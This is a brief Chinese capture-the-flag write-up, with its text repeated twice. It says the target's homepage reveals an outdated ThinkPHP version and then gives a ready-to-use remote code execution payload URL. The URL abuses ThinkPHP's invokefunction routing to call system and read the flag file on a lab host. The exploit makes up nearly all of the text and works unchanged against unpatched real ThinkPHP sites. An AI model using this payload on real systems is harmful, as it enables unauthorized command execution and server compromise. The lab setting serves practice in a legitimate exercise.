1.打开主页,提示了thinkphp版本较低
2.关于thinkphp的框架漏洞,可以参考
poc和exp有一大堆
payload:
http://192.168.100.161:54064/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag
1.打开主页,提示了thinkphp版本较低
2.关于thinkphp的框架漏洞,可以参考
poc和exp有一大堆
payload:
http://192.168.100.161:54064/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag